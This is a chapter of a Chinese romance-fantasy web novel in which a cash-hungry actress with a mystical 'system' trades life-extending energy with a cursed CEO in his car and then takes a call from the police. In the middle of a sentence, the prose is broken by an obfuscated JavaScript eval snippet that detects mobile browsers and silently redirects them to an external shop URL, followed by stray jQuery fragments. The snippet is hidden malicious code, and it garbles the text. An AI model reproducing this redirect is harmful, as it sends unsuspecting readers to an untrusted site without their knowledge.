迈巴赫宽大的后座空间在这一刻显得有些逼仄,车外宴会厅的喧闹声被厚重的车门强行隔绝。
沈棠的后背重重地砸在真皮座椅上,还没等她调整好呼吸,顾淮之那具滚烫且极具压迫感的身躯就直接覆了上来。
男人的手指死死扣住她的手腕,力道大得几乎要将她纤细的骨节捏碎,那双原本深不见底的漆黑眼眸此刻爬满了骇人的红血丝。
他周身萦绕的九幽煞气像是被某种极端力量彻底点燃,化作肉眼可见的黑色雾气在狭小的车厢里疯狂翻涌,连带着车窗玻璃都凝结出一层冰霜。
“顾总,五百万的包月套餐里,可不包含这种强买强卖的限制级服务。你要是想加钟,得另外掏钱。”
沈棠被迫仰着头,温热的呼吸直接打在男人绷紧的下颌线上。
她不仅没有挣扎,空着的手反而顺势摸上了顾淮之紧实的腰腹。
脑海里的赛博老虎机正发出震耳欲聋的欢呼声,金色的数据流化作寿命余额在系统面板上疯狂跳动,这种薅羊毛的快感让她连嘴角的弧度都压不下去。
顾淮之的呼吸变得极其粗重,骨缝里那种万蚁噬骨的剧痛在接触到沈棠掌心温热的瞬间,被一股奇异的舒适感强行安抚下来。
他垂下眼眸盯着身下这个满脸写着算计的女人,缓缓扯松了脖子上那条勒得严丝合缝的高定领带,露出性感的喉结,和一小片苍白的肌肤。
顾淮之将身体的重量更深地压下去,极具侵略性的气息瞬间将沈棠整个人死死包裹。
“你最好清楚你现在在摸哪里,把手拿开。”
前排的司机通过后视镜瞥见这一幕,吓得连大气都不敢出,手指哆嗦着按下了中央隔板的升降键。
黑色隔板缓缓升起,将后座彻底变成了一个封闭且极度危险的私密空间。
沈棠感受着男人胸膛里传来那剧烈且杂乱的心跳,指尖顺着他腰间的衬衫布料一路往上,最终停在他心口那个若隐若现的宿命印记位置。
“我当然清楚,我在摸我的提款机兼续命血包啊。”
她笑眯眯地迎上顾淮之那双仿佛要吃人的眼睛,指尖在他心口的位置故意画了个圈,源源不断的纯阳之气顺着相贴的肌肤疯狂倒灌进她的体内。
顾淮之的身体猛地僵住,喉结不受控制地剧烈滚动,那种被触碰命门带来的战栗感让他下意识地想要往后退,但心底深处却又生出一种极其荒谬的贪恋。
他咬着牙关死死盯着沈棠那双藏着狡黠的狐狸眼,扣着她手腕的力道不仅没有松开,反而将她的手腕举过头顶,牢牢压在座椅靠背上。
“你最好祈祷你的命够硬,能一直承受得住这种反噬,否则我保证,顾家有的是办法让你生不如死。”
顾淮之从牙缝里挤出一句狠话,额角渗出的冷汗却顺着高挺的鼻梁砸落在沈棠的锁骨上,导致这句话非但没有起到任何威慑作用,反而让气氛越发微妙起来。
沈棠无所谓地耸了耸肩,那只被压在头顶的手腕甚至还不安分地转动了一下,手指轻轻刮蹭着顾淮之手背上凸起的青筋。
“老板放心,我这人穷得只剩下一条命,只要钱给够,就算阎王爷来收人,我也能让他站着进来躺着出去。”
她看着系统面板上已经突破半年大关的寿命余额,脸上的笑容变得无比真诚,那两颗尖尖的小虎牙在昏暗的车厢光线里若隐若现。
顾天成那个老狐狸带来的假千金掉落的玉佩,绝对不是什么普通的法器,那上面附着的阴毒气息跟顾淮之体内的九幽煞气同宗同源,摆明了是冲着顾淮之来的一颗连环雷。
只要顾淮之今天在寿宴上彻底失控,顾家大权就会顺理成章地落入那个伪善的二叔手里。
“顾总,你那个好二叔为了弄死你可真是下了血本,连九阴聚煞阵的核心邪物都敢明目张胆地带进宴会厅。你这顾家掌权人的位置,坐得也不怎么安稳嘛。”
沈棠语气里带上了几分看热闹不嫌事大的戏谑,手指顺势在顾淮之的胸膛上拍了两下。
顾淮之眼底的血色在纯阳之气的安抚下开始缓慢褪去,突然松开了压制她的手,直起身子坐回旁边的位置上。
他抬手整理了一下凌乱的衣襟,除了领带依然松垮地挂在脖子上,整个人又恢复了那副生人勿近的禁欲做派。
“顾家的事情轮不到你来插手,你只需要做好你该做的事,拿好你该拿的钱。”
顾淮之冷冷地扫了她一眼,从旁边的储物格里抽出一张湿巾,慢条斯理地擦拭着刚才碰过沈棠手腕的手指,动作里透着毫不掩饰的嫌弃。
沈棠揉着被捏红的手腕坐起身,看着他这副提上裤子不认人的双标嘴脸,直接翻了个白眼。
“顾总这过河拆桥的速度比翻书还快,刚才趴在我身上喘粗气的时候可不是这副冰清玉洁的嘴脸。怎么,现在煞气压下去了,又嫌我弄脏你的高定西装了?”
她一边整理着自己被压出褶皱的真丝礼服,一边毫不客气地回怼,顺便把刚才顺手从顾淮之口袋里摸出来的私人名片塞进了自己的胸衣里。
顾淮之擦拭手指的动作顿住,将湿巾扔进垃圾桶,身体突然再次朝着沈棠倾轧过去。
“沈棠,你是不是觉得我刚才没弄死你,你就可以在我面前肆无忌惮地挑衅?”
他单手撑在沈棠身侧的座椅上,将她整个人圈禁在自己的臂弯里,极具压迫感的男性荷尔蒙混合着淡淡的冷香,再次充斥了沈棠的呼吸。
沈棠根本不吃他这一套,她直接伸手揪住顾淮之那条松垮的领带,用力往下一拉,迫使他低下头与自己平视。
“顾总,咱们现在是一条绳上的蚂蚱,你离不开我的贴贴,我也需要你的钱来保命。大家各取所需,你少拿那套霸总语录来吓唬我。”
她盯着顾淮之那双重新变得深邃冰冷的眼睛,语气里透着嚣张,手指还在他的领带结上极其挑逗地弹了一下。
顾淮之喉结滚动两下,发出一声极轻的冷嗤,任由她揪着自己的领带,根本没有退开的意思。
“既然是各取所需,那你最好证明一下你的价值。如果让我发现你对顾家的核心机密有什么不该有的心思,我会亲手把你扔进海里喂鱼。”
他反手握住沈棠揪着领带的手腕,指腹在她的脉搏处不轻不重地按压着,那种触感让车厢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939827|213872||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里的气氛再次变得极度暧昧且危险。
就在两人僵持不下的时候,沈棠扔在旁边的手机突然发出了一阵刺耳的铃声。
屏幕上闪烁着陈警官的名字。
沈棠看了一眼来电显示,立刻松开顾淮之的领带,像条泥鳅一样从他的臂弯里滑了出去,顺手按下了接听键和免提。
“沈棠,你昨天晚上直播实名举报的那个林星宇,他的海外账户资金流向查清楚了,里面牵扯到几笔境外非法资金,你马上来市局一趟配合做个笔录。”
陈警官的声音在安静的车厢里轰然炸响,直接打散了车厢内旖旎的气氛。
沈棠看了一眼身旁面色不善的顾淮之,嘴角勾起一抹狡黠的笑意,直接对着手机那头大声回话。
“陈警官,我现在可是被顾氏集团的总裁亲自护送在回家的路上,你这大半夜的让我去市局,万一路上遇到什么疯狂粉丝报复,我这小命交代出去,顾先生可要不高兴了。”
她故意把顾氏集团总裁几个字咬得很重,眼神还挑衅地看着顾淮之。
摆明了是要拉他下水,当免费的保镖。
电话那头的陈警官明显愣了一下,显然没料到沈棠这个全网黑红的十八线女星居然能跟京圈太子爷扯上关系。
“顾淮之?他怎么会跟你在一起,你把电话给他,我亲自跟他说。”
顾淮之冷着脸看着沈棠那副小人得志的模样,直接伸手夺过她手里的手机。
“陈队长,沈棠现在是我顾氏集团聘请的私人玄学顾问,她的人身安全由我全权负责。今晚她哪里也不会去。明天上午九点,我会派律师陪她去市局做笔录。”
他没给陈警官反驳的机会,直接挂断了电话,顺手将手机扔回沈棠的怀里。
“顾总这护短的做派还真是让人感动,不过你刚才说我是你的私人玄学顾问,这顾问费咱们是不是得另外算算?”
沈棠抱着手机笑得像只偷到鸡的狐狸,眼睛里闪烁着金钱的光芒,完全把刚才的危险抛到了脑后。
顾淮之看着她这副钻进钱眼里的财迷样子,心底那股无名火莫名其妙地消散了大半。
他靠回座椅上,闭上眼睛不再看她。
“明天去警局管好你的嘴,不该说的话一个字都别往外说,否则,你这辈子都别想拿到一分钱。”
他冷冷地说完,车厢里顿时陷入了死一般的寂静,只有轮胎碾压过湿滑路面的声音在夜色中回荡。
顾淮之顿了一下。
这女人,平时天不怕地不怕的,被他这么一句话就吓住了?
她就这么爱钱?
几分钟后,顾淮之终究还是没忍住睁开了眼睛,状似不经意的朝旁边扫了一眼。
就见沈棠靠在车窗上,路灯的光在她的侧脸上明灭,竟然给他一种,她安静的时候也挺好看的错觉。
实际上沈棠正看着脑海里那台赛博老虎机再次开始疯狂转动,金色的数据流最终定格在一张泛黄的古旧照片上。
照片上是一尊雕刻着诡异符文的青铜古鼎,而摆放古鼎的位置,赫然是京城最著名的古玩交易市场——
潘家园。